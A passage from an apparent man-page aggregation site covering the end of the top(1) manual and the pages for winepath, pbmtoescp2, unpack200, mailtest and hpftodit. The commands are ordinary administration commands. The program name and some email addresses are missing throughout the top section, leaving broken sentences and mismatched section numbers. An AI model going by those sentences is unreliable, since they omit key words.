When a match is found, the current window is repositioned vertically so the task row containing that string is first. The scroll coordinates message can provide confirmation of such vertical repositioning (see the `C’ interactive command). Horizontal scrolling, however, is never altered via searching.

The availability of a matching string will be influenced by the following factors.

a. Which fields are displayable from the total available,
see topic 3b. MANAGING Fields.

b. Scrolling a window vertically and/or horizontally,
see topic 5c. SCROLLING a Window.

c. The state of the command/command-line toggle,
see the `c’ interactive command.

d. The stability of the chosen sort column,
for example PID is good but %CPU bad.

If a search fails, restoring the `current’ window home (unscrolled) position, scrolling horizontally, displaying command-lines or choosing a more stable sort field could yet produce a successful `&’ search.

The above interactive commands are always available in full-screen mode but never available in alternate-display mode if the `current’ window’s task display has been toggled .

5e. FILTERING in a Window

You can use this `Other Filter’ feature to establish selection criteria which will then determine which tasks are shown in the `current’ window. Such filters can be made persistent if preserved in the rcfile via the `W’ interactive command.

Establishing a filter requires: 1) a field name; 2) an operator; and 3) a selection value, as a minimum. This is the most complex of ’s user input requirements so, when you make a mistake, command recall will be your friend. Remember the Up/Down arrow keys or their aliases when prompted for input.

Filter Basics

1. field names are case sensitive and spelled as in the header
2. selection values need not comprise the full displayed field
3. a selection is either case insensitive or sensitive to case
4. the default is inclusion, prepending `!’ denotes exclusions
5. multiple selection criteria can be applied to a task window
6. inclusion and exclusion criteria can be used simultaneously
7. the 1 equality and 2 relational filters can be freely mixed
8. separate unique filters are maintained for each task window

If a field is not turned on or is not currently in view, then your selection criteria will not affect the display. Later, should a filtered field become visible, the selection criteria will then be applied.

Keyboard Summary

O :Other-Filter (upper case)
You will be prompted to establish a case sensitive filter.

o :Other-Filter (lower case)
You will be prompted to establish a filter that ignores case when matching.

^O :Show-Active-Filters (Ctrl key + `o’)
This can serve as a reminder of which filters are active in the `current’ window. A summary will be shown on the message line until you press the <Enter> key.

= :Reset-Filtering in current window
This clears all of your selection criteria in the `current’ window. It also has additional impact so please see topic 4a. GLOBAL Commands.

+ :Reset-Filtering in all windows
This clears the selection criteria in all windows, assuming you are in alternate-display mode. As with the `=’ interactive command, it too has additional consequences so you might wish to see topic 5b. COMMANDS for Windows.

Input Requirements

When prompted for selection criteria, the data you provide must take one of two forms. There are 3 required pieces of information, with a 4th as optional. These examples use spaces for clarity but your input generally would not.

        #1           #2  #3              ( required )
        Field-Name   ?   include-if-value
     !  Field-Name   ?   exclude-if-value
     #4                                  ( optional )

Items #1, #3 and #4 should be self-explanatory. Item #2 represents both a required delimiter and the operator which must be one of either equality (`=’) or relation (`<’ or `>’).

The `=’ equality operator requires only a partial match and that can reduce your `if-value’ input requirements. The `>’ or `<’ relational operators always employ string comparisons, even with numeric fields. They are designed to work with a field’s default justification and with homogeneous data. When some field’s numeric amounts have been subjected to scaling while others have not, that data is no longer homogeneous.

If you establish a relational filter and you have changed the default Numeric or Character justification, that filter is likely to fail. When a relational filter is applied to a memory field and you have not changed the scaling, it may produce misleading results. This happens, for example, because `100.0m’ (MiB) would appear greater than `1.000g’ (GiB) when compared as strings.

If your filtered results appear suspect, simply altering justification or scaling may yet achieve the desired objective. See the `j’, `J’ and `e’ interactive commands for additional information.

Potential Problems

These GROUP filters could produce the exact same results or the second one might not display anything at all, just a blank task window.

     GROUP=root        ( only the same results when )
     GROUP=ROOT        ( invoked via lower case `o' )

Either of these RES filters might yield inconsistent and/or misleading results, depending on the current memory scaling factor. Or both filters could produce the exact same results.

     RES>9999          ( only the same results when )
     !RES<10000        ( memory scaling is at `KiB' )

This nMin filter illustrates a problem unique to scalable fields. This particular field can display a maximum of 4 digits, beyond which values are automatically scaled to KiB or above. So while amounts greater than 9999 exist, they will appear as 2.6m, 197k, etc.

     nMin>9999         ( always a blank task window )

Potential Solutions

These examples illustrate how Other Filtering can be creatively applied to achieve almost any desired result. Single quotes are sometimes shown to delimit the spaces which are part of a filter or to represent a request for status (^O) accurately. But if you used them with if-values in real life, no matches would be found.

Assuming field nTH is displayed, the first filter will result in only multi-threaded processes being shown. It also reminds us that a trailing space is part of every displayed field. The second filter achieves the exact same results with less typing.

     !nTH=` 1 '                ( ` for clarity only )
     nTH>1                     ( same with less i/p )

With Forest View mode active and the COMMAND column in view, this filter effectively collapses child processes so that just 3 levels are shown.

     !COMMAND=`       `- '     ( ` for clarity only )

The final two filters appear as in response to the status request key (^O). In reality, each filter would have required separate input. The PR example shows the two concurrent filters necessary to display tasks with priorities of 20 or more, since some might be negative. Then by exploiting trailing spaces, the nMin series of filters could achieve the failed `9999’ objective discussed above.

     `PR>20' + `!PR=-'         ( 2 for right result )
     `!nMin=0 ' + `!nMin=1 ' + `!nMin=2 ' + `!nMin=3 ' ...

6. FILES

6a. PERSONAL Configuration File

This file is created or updated via the `W’ interactive command.

The legacy version is written as `$HOME/.your-name-4-’ + `rc’ with a leading period.

A newly created configuration file is written as procps/your-name-4-’ + `rc’ without a leading period. The procps directory will be subordinate to either $XDG_CONFIG_HOME when set as an absolute path or the $HOME/.config directory.

While not intended to be edited manually, here is the general layout:

    global   # line  1: the program name/alias notation
      "      # line  2: id,altscr,irixps,delay,curwin
    per ea   # line  a: winname,fieldscur
    window   # line  b: winflags,sortindx,maxtasks,etc
      "      # line  c: summclr,msgsclr,headclr,taskclr
    global   # line 15: additional miscellaneous settings
      "      # any remaining lines are devoted to optional
      "      # active `other filters' discussed in section 5e above
      "      # plus `inspect' entries discussed in section 6b below

If a valid absolute path to the rcfile cannot be established, customizations made to a running will be impossible to preserve.

6b. ADDING INSPECT Entries

To exploit the `Y’ interactive command, you must add entries at the end of the personal configuration file. Such entries simply reflect a file to be read or command/pipeline to be executed whose results will then be displayed in a separate scrollable, searchable window.

If you don’t know the location or name of your rcfile, use the `W’ interactive command to rewrite it and note those details.

Inspect entries can be added with a redirected echo or by editing the configuration file. Redirecting an echo risks overwriting the rcfile should it replace (>) rather than append (>>) to that file. Conversely, when using an editor care must be taken not to corrupt existing lines, some of which could contain unprintable data or unusual characters depending on the version under which that configuration file was saved.

Those Inspect entries beginning with a `#’ character are ignored, regardless of content. Otherwise they consist of the following 3 elements, each of which must be separated by a tab character (thus 2 ` ’ total):

  .type:  literal `file' or `pipe'
  .name:  selection shown on the Inspect screen
  .fmts:  string representing a path or command

The two types of Inspect entries are not interchangeable. Those designated `file’ will be accessed using fopen and must reference a single file in the `.fmts’ element. Entries specifying `pipe’ will employ popen, their `.fmts’ element could contain many pipelined commands and, none can be interactive.

If the file or pipeline represented in your `.fmts’ deals with the specific PID input or accepted when prompted, then the format string must also contain the `%d’ specifier, as these examples illustrate.

  .fmts=  /proc/%d/numa_maps
  .fmts=  lsof -P -p %d

For `pipe’ type entries only, you may also wish to redirect stderr to stdout for a more comprehensive result. Thus the format string becomes:

  .fmts=  pmap -x %d 2>&1

Here are examples of both types of Inspect entries as they might appear in the rcfile. The first entry will be ignored due to the initial `#’ character. For clarity, the pseudo tab depictions (^I) are surrounded by an extra space but the actual tabs would not be.

  # pipe ^I Sockets ^I lsof -n -P -i 2>&1
  pipe ^I Open Files ^I lsof -P -p %d 2>&1
  file ^I NUMA Info ^I /proc/%d/numa_maps
  pipe ^I Log ^I tail -n100 /var/log/syslog | sort -Mr

Except for the commented entry above, these next examples show what could be echoed to achieve similar results, assuming the rcfile name was `.toprc’. However, due to the embedded tab characters, each of these lines should be preceded by `/bin/echo -e’, not just a simple an `echo’, to enable backslash interpretation regardless of which shell you use.

  "pipe	Open Files	lsof -P -p %d 2>&1" >> ~/.toprc
  "file	NUMA Info	/proc/%d/numa_maps" >> ~/.toprc
  "pipe	Log	tail -n200 /var/log/syslog | sort -Mr" >> ~/.toprc

If any inspect entry you create produces output with unprintable characters they will be displayed in either the ^C notation or hexadecimal <FF> form, depending on their value. This applies to tab characters as well, which will show as `^I’. If you want a truer representation, any embedded tabs should be expanded. The following example takes what could have been a `file’ entry but employs a `pipe’ instead so as to expand the embedded tabs.

  # next would have contained `	' ...
  # file ^I <your_name> ^I /proc/%d/status
  # but this will eliminate embedded `	' ...
  pipe ^I <your_name> ^I cat /proc/%d/status | expand -

Note: Some programs might rely on SIGINT to end. Therefore, if a `pipe’ such as the following is established, one must use Ctrl-C to terminate it in order to review the results. This is the single occasion where a `^C’ will not also terminate .

  pipe ^I Trace ^I /usr/bin/strace -p %d 2>&1

Lastly, while `pipe’ type entries have been discussed in terms of pipelines and commands, there is nothing to prevent you from including shell scripts as well. Perhaps even newly created scripts designed specifically for the `Y’ interactive command.

For example, as the number of your Inspect entries grows over time, the `Options:’ row will be truncated when screen width is exceeded. That does not affect operation other than to make some selections invisible. However, if some choices are lost to truncation but you want to see more options, there is an easy solution hinted at below.

  Inspection Pause at pid ...
  Use:  left/right then <Enter> ...
  Options:  help  1  2  3  4  5  6  7  8  9  10  11 ...

The entries in the rcfile would have a number for the `.name’ element and the `help’ entry would identify a shell script you’ve written explaining what those numbered selections actually mean. In that way, many more choices can be made visible.

6c. SYSTEM Configuration File

This configuration file represents defaults for users who have not saved their own configuration file. The format mirrors exactly the personal configuration file and can also include `inspect’ entries as explained above.

Creating it is a simple process.

1. Configure appropriately for your installation and preserve that configuration with the `W’ interactive command.

2. Add and test any desired `inspect’ entries.

3. Copy that configuration file to the /etc/ directory as `topdefaultrc'.

6d. SYSTEM Restrictions File

The presence of this file will influence which version of the help screen is shown to an ordinary user.

More importantly, it will limit what ordinary users are allowed to do when is running. They will not be able to issue the following commands.

    k        Kill a task
    r        Renice a task
    d or s   Change delay/sleep interval

This configuration file is not created by . Rather, it is created manually and placed it in the /etc/ directory as `toprc'.

It should have exactly two lines, as shown in this example:

    s        # line 1: secure mode switch
    5.0      # line 2: delay interval in seconds

7. ENVIRONMENT VARIABLE(S)

The value set for the following is unimportant, just its presence.

LIBPROC_HIDE_KERNEL
This will prevent display of any kernel threads and exclude such processes from the summary area Tasks/Threads counts.

8. STUPID TRICKS Sampler

Many of these tricks work best when you give a scheduling boost. So plan on starting him with a nice value of -10, assuming you’ve got the authority.

7a. Kernel Magic

For these stupid tricks, needs full-screen mode.

  • The user interface, through prompts and help, intentionally implies that the delay interval is limited to tenths of a second. However, you’re free to set any desired delay. If you want to see Linux at his scheduling best, try a delay of .09 seconds or less.

For this experiment, under x-windows open an xterm and maximize it. Then do the following:

  . provide a scheduling boost and tiny delay via:
      nice -n -10  -d.09
  . keep sorted column highlighting  so as to
    minimize path length
  . turn On reverse row highlighting for emphasis
  . try various sort columns (TIME/MEM work well),
    and normal or reverse sorts to bring the most
    active processes into view

What you’ll see is a very busy Linux doing what he’s always done for you, but there was no program available to illustrate this.

  • Under an xterm using `white-on-black’ colors, on ’s Color Mapping screen set the task color to black and be sure that task highlighting is set to bold, not reverse. Then set the delay interval to around .3 seconds.

After bringing the most active processes into view, what you’ll see are the ghostly images of just the currently running tasks.

  • Delete the existing rcfile, or create a new symlink. Start this new version then type `T’ (a secret key, see topic 4c. Task Area Commands, SORTING) followed by `W’ and `q’. Finally, restart the program with -d0 (zero delay).

Your display will be refreshed at three times the rate of the former , a 300% speed advantage. As climbs the TIME ladder, be as patient as you can while speculating on whether or not will ever reach the .

7b. Bouncing Windows

For these stupid tricks, needs alternate-display mode.

  • With 3 or 4 task displays visible, pick any window other than the last and turn idle processes using the `i’ command toggle. Depending on where you applied `i’, sometimes several task displays are bouncing and sometimes it’s like an accordion, as tries his best to allocate space.

  • Set each window’s summary lines differently: one with no memory (`m’); another with no states (`t’); maybe one with nothing at all, just the message line. Then hold down `a’ or `w’ and watch a variation on bouncing windows hopping windows.

  • Display all 4 windows and for each, in turn, set idle processes to using the `i’ command toggle. You’ve just entered the “extreme bounce” zone.

7c. The Big Bird Window

This stupid trick also requires alternate-display mode.

  • Display all 4 windows and make sure that 1:Def is the `current’ window. Then, keep increasing window size with the `n’ interactive command until all the other task displays are “pushed out of the nest”.

When they’ve all been displaced, toggle between all visible/invisible windows using the `_’ command toggle. Then ponder this:
is fibbing or telling honestly your imposed truth?

7d. The Ol’ Switcheroo

This stupid trick works best without alternate-display mode, since justification is active on a per window basis.

  • Start and make COMMAND the last (rightmost) column displayed. If necessary, use the `c’ command toggle to display command lines and ensure that forest view mode is active with the `V’ command toggle.

Then use the up/down arrow keys to position the display so that some truncated command lines are shown (`+’ in last position). You may have to resize your xterm to produce truncation.

Lastly, use the `j’ command toggle to make the COMMAND column right justified.

Now use the right arrow key to reach the COMMAND column. Continuing with the right arrow key, watch closely the direction of travel for the command lines being shown.

some lines travel left, while others travel right

eventually all lines will Switcheroo, and move right

9. BUGS

Please send bug reports to .

10. SEE Also

free(1), ps(1), uptime(1), atop(1), slabtop(1), vmstat(8), w(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1063 - Linux cli command winepath

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command winepath and provides detailed information about the command winepath, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the winepath.

NAME 🖥️ winepath 🖥️

Tool to convert Unix paths to/from Win32 paths

SYNOPSIS

winepath *option *{path}

DESCRIPTION

winepath is a tool to convert a Unix path to/from a Win32 (short/long) path compatible with its Microsoft Windows counterpart.

If more than one option is given then the input paths are output in all formats specified, in the order long, short, Unix, Windows. If no option is given the default output is Unix format.

OPTIONS

-u, –unix
converts a Windows path to a Unix path.

-w, –windows
converts a Unix path to a long Windows path.

-l, –long
converts the short Windows path of an existing file or directory to the long format.

-s, –short
converts the long Windows path of an existing file or directory to the short format.

-0
separate output with � character, instead of a newline.

-h, –help
shows winepath help message and exit.

BUGS

Bugs can be reported on the

Wine bug tracker

AVAILABILITY

winepath is part of the Wine distribution, which is available through WineHQ, the

Wine development headquarters

SEE ALSO

wine(1),

Wine documentation and support

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1064 - Linux cli command pbmtoescp2

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmtoescp2 and provides detailed information about the command pbmtoescp2, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmtoescp2.

.

NAME 🖥️ pbmtoescp2 🖥️

convert a PBM image to a ESC/P2 printer file

SYNOPSIS

pbmtoescp2

[-compress=compressionmode] [-resolution={180|360|720}] [-stripeheight=n] [-formfeed] [-raw] [pbmfile]

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one to designate an option. You may use either white space or equals signs between an option name and its value.

DESCRIPTION

This program is part of Netpbm(1) .

pbmtoescp2 reads a PBM image as input. It produces an ESC/P2 raster graphic printer control stream as output.

This program creates an output that is printable on Epson printers that understand the ESC/P2 printer control language (e.g. the Stylus models). For older Epson 9-pin dot matrix printers, which use the ESC/P protocol, see pbmtoepson.

The printed output has one pixel for each pixel of the input image, except that it is padded up to the stripe size (see -stripeheight option) vertically and to a multiple of 8 columns horizontally. Before Netpbm 10.72 (September 2015), the output is instead truncated to those boundaries.

Input is read from file pbmfile if specified, otherwise from stdin. Output is written to stdout.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pbmtoescp2 recognizes the following command line options:

**-compress=**compressionmode
This determines the compression mode that pbmtoescp2 uses in its output. Valid values for compressionmode are 0 and 1. -compress=0 results in a printer control stream with uncompressed raster graphic data. -compress=1 results in a printer control stream with RLE compressed raster graphic data (RLE means Run Length Encoding). The default is -compress=1.

**-resolution=**dpi
This determines the horizontal and the vertical print resolution set in the printer control stream. Another way of looking at it is a declaration of what the resolution of the input image is (PBM images don’t have inherent resolution). Valid values for dpi are 180, 360, and 720. See hints for more information on this.

The default is -resolution=360.

Before Netpbm 10.72 (September 2015), 720 is not valid.

**-stripeheight=**n
This option controls the height in lines of the stripes in the output.

The valid stripe heights in the printer language are 1, 8, and 24, but it is capable of expressing any height up to 255 and pbmtoescp2 accepts any value in the range 1-255. It issues a warning, though, if you choose something other than 1, 8, or 24.

The default is 24.

This option was new in Netpbm 10.72 (September 2015). Before that, the stripe size is always 24.

-formfeed
This option causes pbmtoescp2 to place a formfeed command at the end of the output.

This option was new in Netpbm 10.72 (September 2015).

-raw
This option causes pbmtoescp2 to generate only the data blocks. It does not generate printer commands to set up the output (for example, setting the line spacing).

You can use this to insert graphics into a larger printer command stream.

This option was new in Netpbm 10.72 (September 2015).

HINTS

RLE compresses very well bitmaps of line drawings, preferably horizontal oriented contents like texts, sheets of music, etc. However, bitmaps derived from photographs are not ideal for RLE. In extreme cases, when no byte repetitions occur in the input, the result will be even slightly bigger than the input. To avoid this, use compression mode 0 to switch off RLE.

Each pixel in the input PBM image becomes one dot in the printed output. Therefore, you must make sure the width and height of the input are appropriate for the print resolution you choose and the print area you want. E.g. if you print at 180 dpi and want the image to print as 8 inches by 10, you must supply a PBM that is 1440 pixels wide by 1800 pixels high. You can adjust the size of the input with pamscale, pamstretch, pbmreduce, or pamenlarge.

SEE ALSO

escp2topbm(1) , pbmtoepson(1) , pamscale(1) , pamstretch(1) , pbmreduce(1) , pamenlarge(1) , pbm(1)

AUTHOR

Copyright (C) 2003 by Ulrich Walcher ([email protected]).

HISTORY

pbmtoescp2 was added to Netpbm in Release 10.18 (August 2003); it was created around the same time.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmtoescp2.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1065 - Linux cli command unpack200

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command unpack200 and provides detailed information about the command unpack200, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the unpack200.

NAME 🖥️ unpack200 🖥️

Transforms a packed file produced by pack200(1) into a JAR file for web deployment.

SYNOPSIS

unpack200 [ options ] input-file JAR-file

options
The command-line options. See Options.

input-file
Name of the input file, which can be a pack200 gzip file or a pack200 file. The input can also be JAR file produced by pack200(1) with an effort of 0, in which case the contents of the input file are copied to the output JAR file with the Pack200 marker.

JAR-file
Name of the output JAR file.

DESCRIPTION

The unpack200 command is a native implementation that transforms a packed file produced by pack200(1) into a JAR file. A typical usage follows. In the following example, the myarchive.jar file is produced from myarchive.pack.gz with the default unpack200 command settings.

unpack200 myarchive.pack.gz myarchive.jar

OPTIONS

-Hvalue –deflate-hint=value

Sets the deflation to be true, false, or keep on all entries within a JAR file. The default mode is keep. If the value is true or false, then the –deflate=hint option overrides the default behavior and sets the deflation mode on all entries within the output JAR file.

-r –remove-pack-file

Removes the input pack file.

-v –verbose

Displays minimal messages. Multiple specifications of this option displays more verbose messages.

-q –quiet

Specifies quiet operation with no messages.

-lfilename –log-file=filename

Specifies a log file where output messages are logged.

-? -h –help

Prints help information about the unpack200 command.

-V –version

Prints version information about the unpack200 command.

-Joption

Passes option to the Java Virtual Machine, where option is one of the options described on the reference page for the Java application launcher. For example, -J-Xms48m sets the startup memory to 48 MB. See java(1).

NOTES

This command should not be confused with the unpack command. They are distinctly separate products.

The Java SE API Specification provided with the JDK is the superseding authority in case of discrepancies.

EXIT STATUS

The following exit values are returned: 0 for successful completion, and a value that is greater than 0 when an error occurred.

SEE ALSO

·
pack200(1)

·
jar(1)

·
jarsigner(1)

·
Pack200 and Compression at http://docs.oracle.com/javase/8/docs/technotes/guides/deployment/deployment-guide/pack200.html

·
The Java SE Technical Documentation page at http://docs.oracle.com/javase/

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1066 - Linux cli command mailtest

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mailtest and provides detailed information about the command mailtest, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mailtest.

NAME 🖥️ mailtest 🖥️

Simple SMTP sending for diagnostics

SYNOPSIS

mailtest –host host.example.com –rcptto [email protected] [ send_options … ] [ additional recipients …]

Options: –help brief help message –debug enable debugging

–host host host to connect to –rcptto recipient recipient for message –helo machine machine name for EHLO –vrfy request VRFY of recipient –expn request EXPN of recipient –mailfrom from use as MAIL FROM value –from822 from content From: –port port port to connect to –body generate body –include_options include Options in body –include_headers include generated headers in body –tls perform TLS on connect –nostarttls do no attempt STARTTLS –stricttls Enable strict verification on TLS connection –tlsargs arg=value[,arg=value] Explicitly define TLS options. –bounce sending as bounce (<>) –wellknown path well-known path –output file Output file to receive well-known data

OPTIONS

–help
Print a brief help message and exits.

-d, –debug
Enables debugging, outpus additional information whilst processing requests.

-h, –host=host
Specifies the host to connect to. Must be specified and must be IP-resolvable.

-m, –ehlo=machine
Specified the machine name to use as the EHLO value. Defaults to the fully-qualified name of the host running the command.

-r, –rcptto=recipient
Specifies the recipient of message. This is used as the RCPT TO value.

-v, –vrfy
Uses the recipient parameter for the value in a VRFY request. This disables the sending of an email.

-e, –expn
Uses the recipient parameter for the value in an EXPN request. This disables the sending of an email.

-f, –mailfrom=from_address
Specified the value to use in the MAIL FROM command. Defaults to the current username at the FQDN of the machine -m unless the -B option is used.

-u, –from822=from_user
Specified the value to use in the message headers. Defaults to the -f from_address value unless the -B option is used.

-B, –bounce
Replace the –mailfrom from_address with \> and the –from833 from_user with mailer-daemon@host where the host is the value of –ehlo machine

-p, –port=port
Specified the port to connect to on the specified host. Defaults to port 25 unless -S is given in which case it defaults to 465.

-S, –tls
Specifies that TLS be used directly on the connection prior to any SMTP commands. Changes the connection port to 465 unless it has been explicitly provided. Disables any attempts at STARTTLS.

-s, –nostarttls
Disables attempting STARTTLS if offered. Disabled by use of -S.

–stricttls
Enables strict verification of the TLS connection. Sets the underlying SSL option SSL_verify_mode to 1/SSL_VERIFY_PEER rather than 0/SSL_VERIFY_NONE. Since the aim of this tool is to test the SMTP protocol behaviour and not the TLS behaviour the decision was made to default the SSL_verify_mode to 0/SSL_VERIFY_NONE.

–sslargs=argname=argvalue[,argname=argvalue…]
Allow full control over underlying SSL options. Overrides –stricttls. See the documentation for IO::Socket::SSL for further details. –sslargs SSL_verifycn_name=certname.example.com

-b, –body
Generate a body for the message being sent.

-O, –include-options
Include details of options used in the message body.

-H, –include-headers
Include a copy of the generated headers in the message body.

-w, –wellknown=well-known-path
Provides the path value for a WELLKNOWN command.

-W, –output=output_file
Provides the output file where the WELLKNOWN data should be stored.

DESCRIPTION

mailtest is a simple utility for testing SMTP connections. It is designed to debug endpoints and not for full email generation.

It support a number of basic operations, SEND, VRFY, EXPN, WELLKNOWN.

COMPATIBILITY

mailtest only requires modules that should be in all normal distributions.

AUTHOR

Bernard Quatermass <[email protected]>

COPYRIGHT AND LICENSE

This software is Copyright (c) 2008,2020,2024 by Bernard Quatermass.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1067 - Linux cli command hpftodit

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hpftodit and provides detailed information about the command hpftodit, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hpftodit.

Name

hpftodit - create font description files for use with groff and grolj4

Synopsis

hpftodit [-aqs] [**-i ** n] tfm-file map-file font-description hpftodit -d tfm-file [map-file] hpftodit –help hpftodit -v hpftodit –version

Description

hpftodit creates a font description file for use with a Hewlett-Packard LaserJet 4-series (or newer) printer with the

output driver of

using data from an HP tagged font metric (TFM) file. tfm-file is the name of the font’s TFM file; Intellifont and TrueType TFM files are supported, but symbol set TFM files are not. map-file is a file giving the groff special character identifiers for glyphs in the font; this file should consist of a sequence of lines of the form

m u c1 c2 . . . [# comment]

where m is a decimal integer giving the glyph’s MSL (Master Symbol List) number, u is a hexadecimal integer giving its Unicode character code, and c1, c2, . . . are its groff glyph names (see

for a list). The values can be separated by any number of spaces and/or tabs. The Unicode value must use uppercase hexadecimal digits A – F, and must lack a leading “0x”, “u”, or “U+”. Unicode values corresponding to composite glyphs are decomposed; that is “u00C0” becomes “u0041_0300”. A glyph without a groff special character identifier may be named uXXXX if the glyph corresponds to a Unicode value, or as an unnamed glyph “”. If the given Unicode value is in the Private Use Area (PUA) (0xE000 – 0xF8FF), the glyph is included as an unnamed glyph. Refer to

for additional information about unnamed glyphs and how to access them.

Blank lines and lines beginning with “#” are ignored. A “#” following one or more groff names begins a comment. Because “#” is a valid groff name, it must appear first in a list of groff names if a comment is included, as in

3 0023 # # number sign

or

3 0023 # sh # number sign

whereas in

3 0023 sh # # number sign

the first “#” is interpreted as the beginning of the comment.

Output is written in

format to font-description, a file named for the intended groff font name; if this operand is “-”, the font description is written to the standard output stream.

If the -i option is used, hpftodit automatically will generate an italic correction, a left italic correction, and a subscript correction for each glyph (the significance of these parameters is explained in

Options

–help displays a usage message, while -v and –version show version information; all exit afterward.

-a
